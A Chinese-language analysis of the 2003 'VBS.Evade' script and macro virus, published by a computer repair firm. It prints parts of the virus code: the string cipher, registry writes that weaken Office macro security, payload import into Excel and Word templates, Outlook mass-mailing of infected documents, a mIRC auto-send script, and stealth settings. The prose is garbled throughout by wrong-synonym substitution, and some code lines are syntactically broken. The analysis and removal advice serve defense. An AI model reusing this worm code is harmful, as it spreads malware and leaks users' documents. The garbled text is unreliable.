叛逃者病毒分析
2003年2月,国内发现一个混淆型剧本病毒“叛逃者”(VBS.Evade)病毒。该病毒不光熏染剧本文件、Excel和Word文档,而且还会直接笼罩一部分音乐、视频及事情文档。与此同时,他还会通过email到处发放已被熏染Office文档,造成用户紧张信息泄漏。
因此,该病毒危害性极大。下面就该病毒的事情原理息争决措施详细分析先容一下:
一、该病毒的熏染特性
叛逃者病毒属于vbs剧本病毒,同时它也具有宏病毒的特性。当用户呆板被熏染这种病毒后,会发生以下变革:
1.对注册表的修正
a)添加HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Run\Winsart,其值为Wscript.exe SysDir\ Winstart.vbs %1" ,其中SYSDir为用户的系统目录。
b)修正
HKEY_LOCAL_MACHINE\Software\Microsoft\Xl.Application.Version \Excel\Security\Level和HKEY_LOCAL_MACHINE\Software\Microsoft\Xl.Application.Version \Excel\Security\AcessVBOM为1
c)修正
HKEY_LOCAL_MACHINE\Software\Microsoft\Wd.Application.Version\Excel\Security\Level和HKEY_LOCAL_MACHINE\Software\Microsoft\Wd.Application.Version \Excel\Security\AcessVBOM为1
d)在
HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade\RecordContacts\键下面会创建相应的Email发送结果记录。
e) 添加键值
HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade VBS/Evade.A by Zed[rRlf]
2.添加的文件
该病毒运行后,会在用户的windows目录添加如下两个病毒体文件:Netlnk32.vbs,Conversation.vbe;会在用户的系统目录添加如下四个病毒体文件:Winstart.vbs,Wininst32.vbs,Winnt32.vbs,Winnet32.vbs;会在磁盘根目录(C盘除外)下创建文件Passwords.vbs。它们都是对病毒本身的完整备份。会在系统目录添加evade.gif,evade.jpg,这两个文件是用来载入到Excel和Word中的病毒文件副本,它们不同于前面的几个病毒体文件。
3.对文件的修正
如果存在personal.xls文件,则原有文件将被删除,并且创建新的personal.xls文件;否者,直接创建personal.xls文件。同时病毒也对Word的模版举行熏染。
如果存在MIRC,则修正Script.ini文件。
4.被熏染的文件类型
病毒会对.vbs,.vbe文件举行熏染,同时也会用病毒体对9个目录下的全部后缀为.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps的11种数据文件举行笼罩。
二、该病毒的技术特点
1.加密
该病毒属于加密性病毒,并且加密伎俩与一样平常病毒不同:一样平常病毒是整体加密,但是该病毒只是对病毒中的某些要害字串举行了加密。叛逃者病毒加密算法比力简略,但是由于加密字串是分开的,并且是解密一处,执行一处。如许就无法整体对这个病毒举行解密。笔者在对这个病毒的部分字串举行解密时专门编写了一段小步伐,这段步伐我们在后面详细分析其加解密步伐时先容。
2.剧本与宏病毒双重特性
叛逃者病毒在熏染vbs,vbe剧本病毒的同时,也熏染了Word模版和Excel的personal.xls文件。在对Word和Excel举行熏染处理,自我掩护方面,和宏病毒所接纳的手段是千篇一律。可以说该病毒是结合了剧本与宏的特点。
3.流传手段多样化
该病毒用到了几乎现行全部剧本病毒已经用过的流传方法:文件熏染、Email流传、IRC通道流传、种种点对点共享工具流传(KaZza、Morpheus、 Grokster、 Bearshare、Edonkey),同时也采用了宏病毒的流传方法:通过模版、文档文件举行熏染。
4.代码粉碎性极大
病毒不合错误系统文件举行任何粉碎,但是笼罩用户常用的一些宝贵数据如mp3,mpg,avi,Doc,pdf,mdb,ppt等文件。这种笼罩是不行逆的,并且病毒在借助其流传时并没有为这些宝贵数据留下副本。
5.泄漏用户资料
同时,病毒还会自动通过email到处发送用户的office文档,泄漏用户的数据信息。这对很对公司来说,内部文档被泄漏会造成非常重大的经济损失或其它不良影响。
三、该病毒运行的大致流程
该病毒流程并不庞大,可以简略描述如下:
1.复制病毒文件到用户windows目录和系统目录。
2.修正注册表,转变Excel的宁静级别
3.写病毒代码到Evade.gif,并将Evade.gif导入到Personal.xls文件
4.修正注册表,转变Word的宁静级别
5.写病毒代码到Evade.jpg,并将该文件导入到Word通用模版。
6.搜索整个磁盘,在每个盘符(C盘除外)根目录下创建病毒副本Passwords.vbs
7.熏染硬盘上全部.vbs、.vbe文件
8.对指定9个目录举行再次搜索,用病毒文件笼罩餍足条件(指定11种后缀)的文件。
9.如存在Mirc,修正Script.ini,使其可以通过Mirc聊天通道发送病毒文件Conversation.vbe。
10.修正注册表,标明病毒作者信息及版本。
通过以上步骤后,Excel和Word已被熏染,当用户对这两种文档举行操纵时,便会触发执行另外两段病毒代码。另外两段代码我们会在下一部分详细分析,这里不作先容。
四、详细代码分析
1.主体病毒代码
a)加密机制分析
该病毒的解密函数代码如下:
Function E0(E1)
For E2 = 1 To Len(E1)E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then ’E3的Ascii码能否为奇数
E3 = Chr(Asc(E3) - 1) ’是
Else
E3 = Chr(Asc(E3) + 1) ’不是
EndIf
E0 = E0 & E3 ’整合已经处理的字符
Next ’连续,直到整个字符串处理终了End Function
这个函数具有如下作用:对于给出的字符串E1,对于E1中的每个字符,如果该字符的Ascii码X为奇数那么用Ascii码值为X-1的字符取代这个字符,否则,用Ascii码值为X+1的字符取代这个字符。也便是说一个字符要么用它前面的字符取代,要么用它后面的字符取代。比方,F的Ascii码为70,那么F将被Ascii码为71的字符G取代,G将被F取代。
那么对于病毒中的加密字符串Rbshquhof/GhmdRxrudlNckdbu,解密后的代码便是Scripting.FileSystemObject。
同时,由下面F到G的互相转换,我们可以发现,一个字符经过该函数两次处理之后会复原。其实,这个函数也是该病毒的加密函数。
由于该病毒加/解密是对部分字符串的,如许我们在分析这个病毒的样本时就通过解密函数无法一次复原出全部的加密代码。在分析该病毒的历程中,笔者编写了如下一段小步伐举行解密(这段代码放在附件中):
Do while inchar<>"dyhu"
inchar=InputBox("请输入加密字符串,结束请输入exit")
inchar=E0(inchar)
wscript.echo inchar
Loop
Function E0(E1)
For E2 = 1 To Len(E1)
E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then
E3 = Chr(Asc(E3) - 1)
Else
E3 = Chr(Asc(E3) + 1)
EndIf
E0 = E0 & E3
Next
End Function
为了方便各人明白,后面列出的代码中的加密字符串用解密过的字符串取代。
b)对Excel所作的修正
病毒对Excel作修正的代码分析如下:
XlKey = "HKCU\Software\Microsoft\Office\" & Xl.Application.Version & "\Excel\Security")
wsc.RegWrite XlKey & "Level", 1, "REG_DWORD"wsc.RegWrite XlKey & "AcessVBOM", 1, "REG_DWORD" ’这里是写入注册表,修正Excel的宁静等级……
Xl.Visible = False
Xl.WorkBooks.AddXl.ActiveWorkbook.VBProject.VBComponents.Import (fso.GetSpecialFolder(1) & "\Evade.gif")
’导入Evade.gif中的病毒代码
Xl.ActiveWorkbook.SaveAs (Xl.Application.StartupPath & "\Personal.xls")
’将Evade.gif的内容生存到Personal.xls文件
Xl.Quit
可见,通过下面这段步伐,病毒将病毒代码写入到了Personal.xls,如许以后翻开Excel时就会自动执行另外一段病毒代码。这段病毒代码后面会加以分析。
c)对Word所作的修正
病毒对Word作修正的代码分析如下:
WdKey = "HKCU\Software\Microsoft\Office\" & Wd.Application.Version & "\Word\Secutiry\"wsc.RegWrite WdKey & "Level"), 1, "REG_DWORD")
wsc.RegWrite WdKey & "AccessVBOM", 1, "REG_DWORD")
’这里是写入注册表,修正Word的宁静等级Wd.Options.VirusProtection = False ’关闭病毒掩护功能
Wd.Options.SaveNormalPrompt = False ’自动生存模版,不给用户提示
Wd.Options.ConfirmConversions = False ’不给出确认信息……
If Wd.NormalTemplate.VBProject.VBComponents.Item("Evade").Name <> "Evade") Then
Wd.NormalTemplate.VBProject.VBComponents.Import SysDir & "\Evade.jpg")
Wd.NormalTemplate.VBProject.VBComponents.Item("Evade")).Name = "Evade")
’将Evade.jpg的内容生存到Word通用模版
End If
可见,通过下面这段步伐,病毒将病毒代码写入到了Word通用模版,如许以后翻开Word时也会自动执行另外一段病毒代码。这段病毒代码后面也会加以分析。
d)往Gif,Jpg文件中写入病毒主体代码时接纳的方法
病毒在往evade.gif,evade.jpg文件中写入的并不是直接的vbs代码,这段vbs代码写入时是通过一段转换代码处理过的,该段代码将病毒体的字符串转换为每个字符Ascii码串(其中Ascii码以16进制体现)。其详细代码分析如下:
For i = 1 To Len(ScriptRead)
Tz = Mid(ScriptRead, i, 1)
Tz = Hex(Asc(Tz))
’取字符的Ascii码,并将其转化为16进制串
If Len(Tz) = 1 Then
’如果该字符的Ascii码小于即是F,譬如回车换行D,A
Tz = E0("1") & Tz
’在字符前面加0,譬如,将D转换为0D,补足两个字符,便于后面逆向处理
End If
Gz = Gz + Tz ’整合处理过的字符
If Len(Gz) = 110 Then
’如果处理的字符串达到110个字符(其实是55个字符,因为一个字符转换成16进制Ascii码后是两位)
EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) ’将处理过的110个字符写入文件,实际写到文件的是字符串Tz=Tz+"处理过的110个字符"
Gz = E0("") ’将Gz清空,以便连续处理
EndIf
If Len(ScriptRead) - i = 0 Then ’如果全部字符已经处理完
EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) ’将剩余处理过的字符串写入文件
Gz = E0("") ’将Gz清空
End If
Next
e)病毒的熏染部分
叛逃者病毒会对整个磁盘举行搜索,探求餍足条件的文件,其搜索代码和爱虫病毒的搜索代码根本上是千篇一律,异样是搜索到每个盘符后,先检查该盘符能否软磁盘或硬盘,如果是则对其举行递归、搜索每个文件夹,查找每个餍足条件的文件,由于版面干系这里不再列出详细代码。不外这段搜索代码在找到C盘后,会在磁盘(C盘除外)根目录下创建一个名为passwords.vbs的病毒副本,这个文件名诱惑用户双击该文件,执行病毒代码。相干代码如下:
If UCase(NetDrive.Path) <> "C:" Then
fso.CopyFile WScript.ScriptFullName, NetDrive.Path & "\Passwords.vbs")
End If
病毒为了制止反复熏染统一个文件,会先检察该文件中能否含有病毒标记" ’ VBS/Evade by Zed /[rRlf]",如果存在则不合错误其举行熏染。这里病毒并没有对目的文件举行笼罩,而是将病毒代码写在了原来文件的末尾,并且这里写入的也是转换成16进制Ascii码后的病毒代码,紧接其后病毒写入了逆向转换代码和挪用执行语句。
另外,病毒还会对指定9个目录:
C:KazaaMy Shared Folder
C:My Downloads
C:ProgramFiles%KazaaMy Shared Folder
C:ProgramFiles%KaZaA LiteMy Shared Folder
C:ProgramFiles%BearshareShared
C:ProgramFiles%Edonkey2000
C:ProgramFiles%MorpheusMy Shared Folder
C:ProgramFiles%GroksterMy Gorkster
C:ProgramFiles%ICQShared Files
举行搜索,并对.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps等13种数据文件,举行笼罩:先创建一个以原文件名为前缀,vbs为后缀的病毒文件副本。然后,删除原来的文件。如许,用户在看到这些文件后,会以为这些文件是用户原来的文件而去双击它。如许病毒就得到了控制权。以上9个目录是网上举行文件共享时的默许目录,如果病毒笼罩了这些病毒中的文件,其它网络用户就会下载这些文件,如许病毒就得以广泛流传。这里不列出详细代码分析。
f)使用Mirc举行流传
叛逃者病毒可以使用Mirc聊天通道举行流传,他修正script.ini文件,使得Mirc会自动向通道中的其他摰友发送病毒文件。病毒顺次查找如下四个目录:
C:\Mirc
C:\Mirc32
\Mirc
\Mirc32
如果发现这些目录,则在该目录中添加或修正文件Script.ini,并在其中写入一些控制指令。这些指令可以自动往通道中的其他用户发送病毒文件。添加的指令如下:
;Mirc Scripting utility –do not modify
[Script]
n5=no 1:Join:# ;{
n6=/if ($nick= =$me) {halt}
n7=/msg $nick Remember this funny conversation I had on IRC?
n8=/dcc send –c $nick WinDir \Conversation.vbe
n9=}
2.两个“图片”文件的代码分析
a)evade.gif文件
该文件是要被导入到personal.xls文件中的病毒副本。该病毒副本首先修正Excel宁静等级,并创建一个Auto_Open函数,该函数只有一条挪用osaEvade历程的语句。OsaEvade是病毒发作部分。我们知道Auto_Open函数在用户翻开文档时是会自动执行的。如许,每次翻开Excel文档时,病毒就会得到控制权。这也是宏病毒常用的手段。同时,病毒还做了一些根本的潜伏措施,如下所示:
Application.ScreenUpdating = False ’不让屏幕更新,让病毒执行时不影响盘算机速度
Application.DisplayAlerts = False ’不让Excel弹出报警信息
Application.EnableCancelKey = xlDisabled ’使不行以通过Esp键取消正在执行的宏Application.DisplayStatusBar = False ’不显示形态栏,以免暴露病毒的运行环境
同时,病毒还会检查相应目录下能否存在personal.xls,Winstart.vbs,如果不存在,顿时以evade.gif文件为样本创建这两个文件。
在这个文件中最紧张的一个步骤便是从以后outlook中的电话簿中找到email地址,并发送带毒office文档。部分代码分析如下:
EmailKey = "HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade\RecordContacts\"
ReadIfSent = wsc.RegRead(EmailKey & ContactSwitch.AddressEntries(UserGroup)) ’从注册表中读取信息,看能否已向该邮件地址发送过?
If ReadIfSent <> "File Sent" Then ’如果没有发送过,则连续
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup) ’收件人
OutlookEmail.Subject = L6 ’邮件标题,该标题是从7个标题中随机选取的
OutlookEmail.Body = "The file I am sending you is confidential as well as important; so don't let anyone else have a copy." ’邮件内容
OutlookEmail.Attachments.Add ActiveWorkbook.FullName ’邮件附件,这里贴上的是染毒的office文档,因此会造成文件泄漏
OutlookEmail.Importance = 2 ’文件紧张等级
OutlookEmail.DeleteAfterSubmit = True ’发送后自我删除
OutlookEmail.Send ’发送邮件
wsc.RegWrite EmailKey & ContactSwitch.AddressEntries(UserGroup), "File Sent" ’在注册表中记录,以免重复发送
End If
另外该文件中含有一个非常紧张的转换函数,前面讲过主病毒文件被写入到这个文件时是经过Ascii码转换的。要让这段代码写入到Winstart.vbs中能执行,这里就必要对其做规复转换。这个函数如下所示:
Function CM(CN)For GC = 1 To Len(CN) Step 2 ’以两个字符为单位,因为一个字符转换成10进制Ascii码后时为两个字符 CM = CM & Chr("&h" & Mid(CN, GC, 2)) ’譬如A的Asii码为65,转换为16进制为41,这里便是将41转换成字符ANextEnd Function
b)evade.jpg文件
这个文件开端是用于导入到Word通用模版的。该病毒副本异样修正了Word宁静等级,并创建了AutoClose,AutoOpen,ViewVBCode,Evade历程。其中,Evade历程中是病毒体当代码。前两个在Word关闭,翻开文件时会自动执行,并且这两个历程均挪用了Evade历程。这里ViewVBCode历程中没有任何语句,如许,当用户按ALT+F8后就不会调出宏编辑窗口,而是不做任何动作。这从某种程度上掩护了病毒步伐不被别人分析。
另外,和evade.gif文件一样,病毒也做了一些根本的潜伏措施,如下所示:
Application.DisplayStatusBar = 0 ’不显示形态栏,以免暴露病毒的运行环境
Application.ScreenUpdating = 0 ’不让屏幕更新,让病毒执行时不影响盘算机速度
Application.EnableCancelKey = wdCancelDisabled ’使不行以通过Esp键取消正在执行的宏
Application.DisplayAlerts = wdAlertsNone ’不让Excel弹出报警信息
CommandBars("Tools").Controls("Macro").Enabled = 0 ’屏蔽工具菜单中的“宏”
CommandBars("Macro").Controls("Security...").Enabled = 0 ’屏蔽宏菜单的“宁静性…”
CommandBars("Macro").Controls("Macros...").Enabled = 0 ’屏蔽宏菜单的“宏…”
CommandBars("Tools").Controls("Customize...").Enabled = 0 ’屏蔽工具菜单的“自界说…”
CommandBars("View").Controls("Toolbars").Enabled = 0 ’屏蔽视图宏菜单的“工具栏”
CommandBars("format").Controls("Object...").Enabled = 0 ’屏蔽款式菜单的“对象”
如许,病毒通过这些设置就可以防备用户通过对word举行一些设置检察息争除宏病毒代码。
另外,其它部分和evade.gif文件功能根本上一样。该文件异样含有email发送代码和规复转换函数,并且原理千篇一律,这里不在详细叙述。
五、怎样解除这种病毒
由于叛逃者病毒不但熏染了vbs剧本文件、笼罩了其它类型的文件,同时也熏染了Word,Excel,因此该病毒在解除历程中不得运行剧本文件,也不得对Word,Excel举行操纵。
下面简要谈一下这个病毒的解除思路:
1.根据下面所提到的部分删除或者改回被修自新的注册表键值。
2.删除下面提到的9个目录中的全部被熏染文件、evade.gif、evade.jpg、Personal.xls,\Passwords.vbs。还有windows和系统目录下的5个vbs、1个vbe文件。
3.查找被熏染的vbe,vbs文件,编辑,并删除文件后面的病毒代码。
4.对Excel和Word举行解毒,并且还要杀除已被熏染文档中的病毒。
5.如果有Mirc,还需修正Script.ini文件,删除后来添加的几个下令行。
下面有些步骤比力庞大,发起一样平常用户采用杀毒软件举行杀毒。
跋文:叛逃者病毒并没有采用什么新颖的技术,分外是宏病毒部分已经是非常陈腐原始的技术了,但是该病毒却完全不顾及用户宝贵数据和隐私,粉碎性极大,这不得不让我们为此担心。笔者以为,一个真正的好病毒,是会尽量制止造成粉碎的,笔者衷心希望以后这种没有任何美感的低劣病毒不会反复呈现。
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|